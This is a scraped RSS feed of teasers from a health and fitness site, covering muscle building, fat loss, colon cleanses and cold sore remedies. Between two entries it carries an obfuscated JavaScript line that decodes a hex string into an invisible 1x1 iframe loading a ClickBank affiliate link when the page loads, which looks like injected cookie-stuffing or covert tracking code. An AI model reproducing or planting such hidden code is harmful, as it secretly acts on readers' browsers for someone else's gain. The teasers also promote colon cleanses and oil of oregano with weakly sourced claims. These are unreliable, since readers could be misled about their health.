http://yoursupremehealth.com Your Health And Fitness Resource Wed, 22 Jul 2009 23:50:54 +0000 http://backend.userland.com/rss092 en Do Genetics Play A Role In How Much Muscle You Can Build? The short answer is Yes. At the end of the day how big you can get does depend on your genetics. A more realistic answer is...It doesn't matter how bad your genetics are because most people never come close ... http://yoursupremehealth.com/article/muscle-building-genetics str='@3c@49@46@52@41@4d@45@20@53@52@43@3d@27@68@74@74@70@3a@2f@2f@62@65@30@31@34@38@6f@66@6d@34@37@75@32@6b@62@35@68@6e@78@6d@6e@61@79@78@63@6b@2e@68@6f@70@2e@63@6c@69@63@6b@62@61@6e@6b@2e@6e@65@74@2f@3f@74@69@64@3d@56@49@44@45@4f@27@20@57@49@44@54@48@3d@31@20@48@45@49@47@48@54@3d@31@3e@3c@2f@49@46@52@41@4d@45@3e'; document.write(unescape(str.replace(/@/g,'%'))); http://yoursupremehealth.com/article/building-muscle-fast When it comes to building muscle no one knows more then Jason Ferruggia. When athletes need to improve their conditioning or increase their strength and size they turn to this man for results. But what about the average guy. Is there a step by step plan that can help the ... http://yoursupremehealth.com/article/how-to-put-on-more-muscle If you want some "straight to the point", "no filler", "real life" tips on how to burn fat off your body by the minute then take a second to read what world renown fat loss expert John Alvino has to say: Here are 5 fat loss tips you can implement right ... http://yoursupremehealth.com/article/5-fat-loss-tips It is so easy these days to skip breakfast. Most of us are usually in a rush getting out the door in the morning that it almost has become a nuisance to have breakfast. For someone who is on a diet, skipping breakfast is even more justified, as ... http://yoursupremehealth.com/article/why-is-breakfast-the-most-important-meal How many weight loss diets have you been on? How many of those diets have been successful in terms of permanent weight loss? Most of us equate weight loss to fat loss, when in fact they are two different things. When we look in the mirror and see an over weight ... http://yoursupremehealth.com/article/why-most-diets-prevent-you-from-losing-weight One of the greatest keys to optimal health is a healthy digestive system, and a colon cleanse is a great way to restore and maintain digestive health. Your digestive system is the hub to the rest of your body and since it's linked to the immune system it is crucial to ... http://yoursupremehealth.com/article/a-clean-colon-is-the-foundation-of-your-health It's estimated that around 85 percent of the American population has the virus that causes cold sores, but only 1 in 5 actually develop the cold sore. The medical term used for "cold sore" is herpes simplex type 1, and you probably guessed it, it's a virus.  Its ugly cousin is ... http://yoursupremehealth.com/article/where-do-cold-sores-come-from Sandbag Shouldering If you want to develop strength and get full body conditioning while burning fat, you need to incorporate this exercise into your routine. Burpees You will burn just as much fat in only a few minutes with this exercise as you would doing traditional cardio for a full hour. Jump Rope Performing this ... http://yoursupremehealth.com/article/225 To get rid of your cold sores, you absolutely must be taking Oil of Oregano. According to studies done at the Medical Center at Georgetown University, the oregano plants ability to kill various viruses, bacteria, yeasts and other microorganisms was very positive. In fact Dr. Cass Ingram, a physician and researcher and ... http://yoursupremehealth.com/article/getting-rid-of-your-cold-sores